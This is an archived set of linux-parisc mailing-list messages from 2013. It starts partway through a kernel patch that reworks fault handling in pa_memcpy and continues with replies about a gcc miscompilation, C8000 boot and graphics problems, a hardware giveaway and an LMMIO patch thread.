-	DPRINTF("cda_stw_exc: o_len=%lu fault_addr=%lu o_dst=%lu ret=%lu\n",
-		o_len, d->fault_addr, o_dst, o_len - d->fault_addr + o_dst);
-	return o_len * 4 - d->fault_addr + o_dst;
+	return PA_MEMCPY_STORE_ERROR;
 }
 
 
-/* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+/* Returns PA_MEMCPY_OK, PA_MEMCPY_LOAD_ERROR or PA_MEMCPY_STORE_ERROR.
+ * In case of an access fault the faulty address can be read from the per_cpu
+ * exception data struct. */
+static unsigned long pa_memcpy_internal(void *dstp, const void *srcp,
+					unsigned long len)
 {
 	register unsigned long src, dst, t1, t2, t3;
 	register unsigned char *pcs, *pcd;
 	register unsigned int *pws, *pwd;
 	register double *pds, *pdd;
-	unsigned long ret = 0;
-	unsigned long o_dst, o_src, o_len;
-	struct exception_data *d;
+	unsigned long ret;
 
 	src = (unsigned long)srcp;
 	dst = (unsigned long)dstp;
 	pcs = (unsigned char *)srcp;
 	pcd = (unsigned char *)dstp;
 
-	o_dst = dst; o_src = src; o_len = len;
-
 	/* prefetch_src((const void *)srcp); */
 
 	if (len < THRESHOLD)
@@ -401,7 +399,7 @@ byte_copy:
 		len--;
 	}
 
-	return 0;
+	return PA_MEMCPY_OK;
 
 unaligned_copy:
 	/* possibly we are aligned on a word, but not on a double... */
@@ -438,8 +436,7 @@ unaligned_copy:
 		src = (unsigned long)pcs;
 	}
 
-	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int), 
-		o_dst, o_src, o_len);
+	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int));
 	if (ret)
 		return ret;
 
@@ -454,17 +451,41 @@ unaligned_copy:
 
 handle_load_error:
 	__asm__ __volatile__ ("pmc_load_exc:\n");
-	d = &__get_cpu_var(exception_data);
-	DPRINTF("pmc_load_exc: o_len=%lu fault_addr=%lu o_src=%lu ret=%lu\n",
-		o_len, d->fault_addr, o_src, o_len - d->fault_addr + o_src);
-	return o_len - d->fault_addr + o_src;
+	return PA_MEMCPY_LOAD_ERROR;
 
 handle_store_error:
 	__asm__ __volatile__ ("pmc_store_exc:\n");
+	return PA_MEMCPY_STORE_ERROR;
+}
+
+
+/* Returns 0 for success, otherwise, returns number of bytes not transferred. */
+static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+{
+	unsigned long ret, fault_addr, reference;
+	struct exception_data *d;
+
+	ret = pa_memcpy_internal(dstp, srcp, len);
+	if (likely(ret == PA_MEMCPY_OK))
+		return 0;
+
+	/* if a load or store fault occured we can get the faulty addr */
 	d = &__get_cpu_var(exception_data);
-	DPRINTF("pmc_store_exc: o_len=%lu fault_addr=%lu o_dst=%lu ret=%lu\n",
-		o_len, d->fault_addr, o_dst, o_len - d->fault_addr + o_dst);
-	return o_len - d->fault_addr + o_dst;
+	fault_addr = d->fault_addr;
+
+	/* error in load or store? */
+	if (ret == PA_MEMCPY_LOAD_ERROR)
+		reference = (unsigned long) srcp;
+	else
+		reference = (unsigned long) dstp;
+
+	DPRINTF("pa_memcpy: fault type = %lu, len=%lu fault_addr=%lu ref=%lu\n",
+		ret, len, fault_addr, reference);
+
+	if (fault_addr >= reference)
+		return len - (fault_addr - reference);
+	else
+		return len;
 }
 
 #ifdef __KERNEL__
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix gcc miscompilation in pa_memcpy()
Date: Fri, 05 Jul 2013 23:05:02 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <12486210.aWq2PzHOxI@eto>
References: <20130704203411.GA1258@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart8532174.JeCd6uWJb1"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1373058314 31736 80.91.229.3 (5 Jul 2013 21:05:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Jul 2013 21:05:14 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 05 23:05:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UvDBq-0007u7-MW
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Jul 2013 23:05:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753176Ab3GEVFN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Jul 2013 17:05:13 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:52371 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752535Ab3GEVFM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Jul 2013 17:05:12 -0400
Original-Received: (qmail 8139 invoked from network); 5 Jul 2013 21:05:08 -0000
Original-Received: from dslc-082-083-016-244.pools.arcor-ip.net ([::ffff:82.83.16.244]:50369 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Fri, 05 Jul 2013 23:05:08 +0200
User-Agent: KMail/4.10.4 (Linux/3.9.6-13.g8ead728-desktop; KDE/4.10.4; x86_64; ; )
In-Reply-To: <20130704203411.GA1258@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5182>


--nextPart8532174.JeCd6uWJb1
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Donnerstag 04 Juli 2013, 22:34:11 schrieb Helge Deller:
> When running the LTP testsuite one may hit this kernel BUG() with the
> write06 testcase:
> 
> kernel BUG at mm/filemap.c:2023!
> CPU: 1 PID: 8614 Comm: writev01 Not tainted 3.10.0-rc7-64bit-c3000+ #6
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401e6e84
> 00000000401e6e88 IIR: 03ffe01f    ISR: 0000000010340000  IOR:
> 000001fbe0380820
>  CPU:        1   CR30: 00000000bef80000 CR31: ffffffffffffffff
>  ORIG_R28: 00000000bdc192c0
>  IAOQ[0]: iov_iter_advance+0x3c/0xc0
>  IAOQ[1]: iov_iter_advance+0x40/0xc0
>  RP(r2): generic_file_buffered_write+0x204/0x3f0
> Backtrace:
>  [<00000000401e764c>] generic_file_buffered_write+0x204/0x3f0
>  [<00000000401eab24>] __generic_file_aio_write+0x244/0x448
>  [<00000000401eadc0>] generic_file_aio_write+0x98/0x150
>  [<000000004024f460>] do_sync_readv_writev+0xc0/0x130
>  [<000000004025037c>] compat_do_readv_writev+0x12c/0x340
>  [<00000000402505f8>] compat_writev+0x68/0xa0
>  [<0000000040251d88>] compat_SyS_writev+0x98/0xf8
> 
> Reason for this crash is a gcc miscompilation in the fault handlers of
> pa_memcpy() which return the fault address instead of the copied bytes.
> Since this seems to be a generic problem with gcc-4.7.x (and below), it's
> better to simplify the fault handlers in pa_memcpy to avoid this problem.

Which gcc PR# is that?

Greetings,

Eike
--nextPart8532174.JeCd6uWJb1
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlHXNQMACgkQXKSJPmm5/E41SACfZbOaAX0t1LQe+iku2DwNNDF7
EfEAoIWRnfaoH0oNMtz9Dn0/FCGh9Wxl
=vfH/
-----END PGP SIGNATURE-----

--nextPart8532174.JeCd6uWJb1--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix gcc miscompilation in pa_memcpy()
Date: Fri, 05 Jul 2013 17:44:18 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <51D73E32.5060803@bell.net>
References: <20130704203411.GA1258@p100.box> <12486210.aWq2PzHOxI@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1373062859 9674 80.91.229.3 (5 Jul 2013 22:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Jul 2013 22:20:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 06 00:20:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UvEN6-00049R-LB
	for glpp-linux-parisc@plane.gmane.org; Sat, 06 Jul 2013 00:20:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751067Ab3GEWUy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Jul 2013 18:20:54 -0400
Original-Received: from smtp1.primus.ca ([209.216.129.80]:33940 "EHLO mail-05.primus.ca"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752100Ab3GEWUw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Jul 2013 18:20:52 -0400
X-Greylist: delayed 2176 seconds by postgrey-1.27 at vger.kernel.org; Fri, 05 Jul 2013 18:20:52 EDT
Original-Received: from 209-197-174-241.cpe.distributel.net ([209.197.174.241] helo=[192.168.0.181])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UvDnb-0000Fi-2L; Fri, 05 Jul 2013 17:44:15 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7
In-Reply-To: <12486210.aWq2PzHOxI@eto>
X-Authenticated: danglin-lux@magma.ca - 209-197-174-241.cpe.distributel.net ([192.168.0.181]) [209.197.174.241]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5183>

On 7/5/2013 5:05 PM, Rolf Eike Beer wrote:
> Am Donnerstag 04 Juli 2013, 22:34:11 schrieb Helge Deller:
>> When running the LTP testsuite one may hit this kernel BUG() with the
>> write06 testcase:
>>
>> kernel BUG at mm/filemap.c:2023!
>> CPU: 1 PID: 8614 Comm: writev01 Not tainted 3.10.0-rc7-64bit-c3000+ #6
>> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401e6e84
>> 00000000401e6e88 IIR: 03ffe01f    ISR: 0000000010340000  IOR:
>> 000001fbe0380820
>>   CPU:        1   CR30: 00000000bef80000 CR31: ffffffffffffffff
>>   ORIG_R28: 00000000bdc192c0
>>   IAOQ[0]: iov_iter_advance+0x3c/0xc0
>>   IAOQ[1]: iov_iter_advance+0x40/0xc0
>>   RP(r2): generic_file_buffered_write+0x204/0x3f0
>> Backtrace:
>>   [<00000000401e764c>] generic_file_buffered_write+0x204/0x3f0
>>   [<00000000401eab24>] __generic_file_aio_write+0x244/0x448
>>   [<00000000401eadc0>] generic_file_aio_write+0x98/0x150
>>   [<000000004024f460>] do_sync_readv_writev+0xc0/0x130
>>   [<000000004025037c>] compat_do_readv_writev+0x12c/0x340
>>   [<00000000402505f8>] compat_writev+0x68/0xa0
>>   [<0000000040251d88>] compat_SyS_writev+0x98/0xf8
>>
>> Reason for this crash is a gcc miscompilation in the fault handlers of
>> pa_memcpy() which return the fault address instead of the copied bytes.
>> Since this seems to be a generic problem with gcc-4.7.x (and below), it's
>> better to simplify the fault handlers in pa_memcpy to avoid this problem.
> Which gcc PR# is that?
There is no gcc PR as pa_memcpy is not legitimate C code.  There is an 
implicit assumption
that certain variables will contain correct values when an exception 
occurs and the code randomly
jumps to one of the exception blocks.  There is no guarantee of this.  
If a PR was filed, it would likely
be marked as invalid.

I would judge there's no hope in fixing this in 4.7.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status update)
Date: Mon, 8 Jul 2013 12:31:22 +0000 (UTC)
Lines: 20
Approved: news@gmane.org
Message-ID: <loom.20130708T135706-644@post.gmane.org>
References: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org> <1725746.7h2TmhW5F7@eto> <CAEdQ38HjaLRMa_0f=qjVa84-xmerQvmsLH0OBdHxeRReOKQuyw@mail.gmail.com> <5178EBC5.2050607@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1373286912 10670 80.91.229.3 (8 Jul 2013 12:35:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jul 2013 12:35:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 08 14:35:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UwAep-0001Tc-Hu
	for glpp-linux-parisc@plane.gmane.org; Mon, 08 Jul 2013 14:35:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751279Ab3GHMfH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Jul 2013 08:35:07 -0400
Original-Received: from plane.gmane.org ([80.91.229.3]:45781 "EHLO plane.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751265Ab3GHMfG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Jul 2013 08:35:06 -0400
Original-Received: from list by plane.gmane.org with local (Exim 4.69)
	(envelope-from <glpp-linux-parisc@m.gmane.org>)
	id 1UwAek-0006Nc-FN
	for linux-parisc@vger.kernel.org; Mon, 08 Jul 2013 14:35:02 +0200
Original-Received: from relay.gero.in ([77.37.212.15])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 08 Jul 2013 14:35:02 +0200
Original-Received: from gnidorah by relay.gero.in with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 08 Jul 2013 14:35:02 +0200
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 14
Original-X-Complaints-To: usenet@ger.gmane.org
X-Gmane-NNTP-Posting-Host: sea.gmane.org
User-Agent: Loom/3.14 (http://gmane.org/)
X-Loom-IP: 77.37.212.15 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Iron/26.0.1450.0 Chrome/26.0.1450.0 Safari/537.36)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5184
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5184>

Graham Gower <graham.gower <at> gmail.com> writes:

> Looks rather similar.
> 
> burke:~# modprobe radeon
> ...
> [  531.016000] BUG: soft lockup - CPU#3 stuck for 22s! [bash:2745]
> ...
> [  533.364000] Kernel panic - not syncing: softlockup: hung tasks

Same here at c8000 with firegl x3, running unstable Debian with vanilla 
3.10 kernel. Does anyone know a solution?



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0003
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: FREE: a500, J6000, PCI cards
Date: Mon, 8 Jul 2013 09:56:33 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <CAP6odjjk2tGMR-qBXxCi=q+OBjXj1BXmKxXBnewcBRMZ_8kv+w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1373302595 31243 80.91.229.3 (8 Jul 2013 16:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Jul 2013 16:56:35 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 08 18:56:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UwEjr-000255-E5
	for glpp-linux-parisc@plane.gmane.org; Mon, 08 Jul 2013 18:56:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752445Ab3GHQ4f (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Jul 2013 12:56:35 -0400
Original-Received: from mail-oa0-f50.google.com ([209.85.219.50]:63475 "EHLO
	mail-oa0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752238Ab3GHQ4e (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Jul 2013 12:56:34 -0400
Original-Received: by mail-oa0-f50.google.com with SMTP id k7so6575427oag.37
        for <linux-parisc@vger.kernel.org>; Mon, 08 Jul 2013 09:56:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:content-type;
        bh=En+JWFNgji8YtKfpUtNc6HFr74mOzqW5/EIlmAajRqY=;
        b=Dbl7VQ8DS3Ddz4PvdLAxbs9PCrAuwaxRwKVZ8iT613OxWithkRWtX+sdDMEry6QMX4
         OGroNI8Yn6HKB/vJkMzevKG9b7/CGaJ6FIwH7uEQMhcDPY7Z//qO2H1wXdG/jzoJFoth
         mQFrJ8iFsSrYAL336cV62tQG5r5+8F3mtuvAWvGHTGprXtONkW/UFyRSweCD4x0QhWL9
         RqtNYU7cnw+p3oFJb2/LS/00ifiufSuxBhq52b8lwTNgczhVYVyje1xk1ta5c4Scgp8y
         olZcefGbjbAxjy+DwW8yz9yA4dT/+QrIH9HXU/0oxO6xEaPF72BrJ3bjiEXmDSoJnAYV
         bn8g==
X-Received: by 10.182.88.202 with SMTP id bi10mr21076598obb.91.1373302593956;
 Mon, 08 Jul 2013 09:56:33 -0700 (PDT)
Original-Received: by 10.182.241.194 with HTTP; Mon, 8 Jul 2013 09:56:33 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5185
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5185>

Sorry to say, I haven't powered up my PA-RISC HW in over 2 years.
That's a clear sign I need to clean out the space for other projects.

If anyone in the San Francisco Bay Area wants to pick up, please email
me off list to arrange a time to stop by my house (or work if that's
more convient).

Since I'm giving these away, I'm asking they not be resold, only
re-gifted or recycled.

A500 and J6000 are both Dual CPU (single core) and more than 4GB of
RAM. I have lots of PCI cards to go with them and an extra j6000 IO
cage.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Tue, 9 Jul 2013 05:34:21 +0000 (UTC)
Lines: 20
Approved: news@gmane.org
Message-ID: <loom.20130709T072537-28@post.gmane.org>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1373348083 13287 80.91.229.3 (9 Jul 2013 05:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jul 2013 05:34:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 09 07:34:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UwQZT-0005rw-AZ
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Jul 2013 07:34:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752651Ab3GIFej (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jul 2013 01:34:39 -0400
Original-Received: from plane.gmane.org ([80.91.229.3]:36511 "EHLO plane.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752214Ab3GIFei (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jul 2013 01:34:38 -0400
Original-Received: from list by plane.gmane.org with local (Exim 4.69)
	(envelope-from <glpp-linux-parisc@m.gmane.org>)
	id 1UwQZR-00063y-Gx
	for linux-parisc@vger.kernel.org; Tue, 09 Jul 2013 07:34:37 +0200
Original-Received: from relay.gero.in ([77.37.212.15])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Tue, 09 Jul 2013 07:34:37 +0200
Original-Received: from gnidorah by relay.gero.in with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Tue, 09 Jul 2013 07:34:37 +0200
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 14
Original-X-Complaints-To: usenet@ger.gmane.org
X-Gmane-NNTP-Posting-Host: sea.gmane.org
User-Agent: Loom/3.14 (http://gmane.org/)
X-Loom-IP: 77.37.212.15 (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Iron/26.0.1450.0 Chrome/26.0.1450.0 Safari/537.36)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5186
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5186>

Helge Deller <deller <at> gmx.de> writes:

> I did not tested X11 yet (still need to fully install the C8000 with our
> unstable) - but Thomas mentioned once that this is needed for X11.

I've built from test-3.10 branch of your repo:
Linux version 3.10.0-rc6-64bit-c3000+ (root@parisc) 
(gcc version 4.6.4 (GCC) ) #4 SMP PREEMPT Mon Jul 8 23:16:48 
MSK 2013

I'm using a c8000 with firegl x3. I approve that console works, 
although in an unaccelerated mode. However xorg isn't:
http://pastebin.com/Y1h2BVHB
The system is latest unstable. The xorg is of 1:7.7+3 version.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK
 register
Date: Tue, 09 Jul 2013 11:18:52 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <51DC29DC.8060106@bell.net>
References: <20130614071142.GB10443@p100.box> <CAEdQ38H_nzCEUGXNOtfH=vQdHJ0HvbhyYKLQm8xzEj+DfevLzw@mail.gmail.com> <20130614073827.GA18871@p100.box> <loom.20130709T072537-28@post.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1373383167 2176 80.91.229.3 (9 Jul 2013 15:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Jul 2013 15:19:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 09 17:19:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UwZhR-00022E-4W
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Jul 2013 17:19:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753588Ab3GIPT2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Jul 2013 11:19:28 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:54918 "EHLO
	mail-01.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752873Ab3GIPT2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Jul 2013 11:19:28 -0400
Original-Received: from 174-138-193-200.cpe.distributel.net ([174.138.193.200] helo=[192.168.0.181])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UwZhO-00007V-10; Tue, 09 Jul 2013 11:19:26 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7
In-Reply-To: <loom.20130709T072537-28@post.gmane.org>
X-Authenticated: danglin-lux@magma.ca - 174-138-193-200.cpe.distributel.net ([192.168.0.181]) [174.138.193.200]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5187>

On 7/9/2013 1:34 AM, Alex Ivanov wrote:
> I'm using a c8000 with firegl x3. I approve that console works,
> although in an unaccelerated mode. However xorg isn't:
> http://pastebin.com/Y1h2BVHB
> The system is latest unstable. The xorg is of 1:7.7+3 version.
Suggest you hack arch/parisc/kernel/cache.c to disable this
optimization:

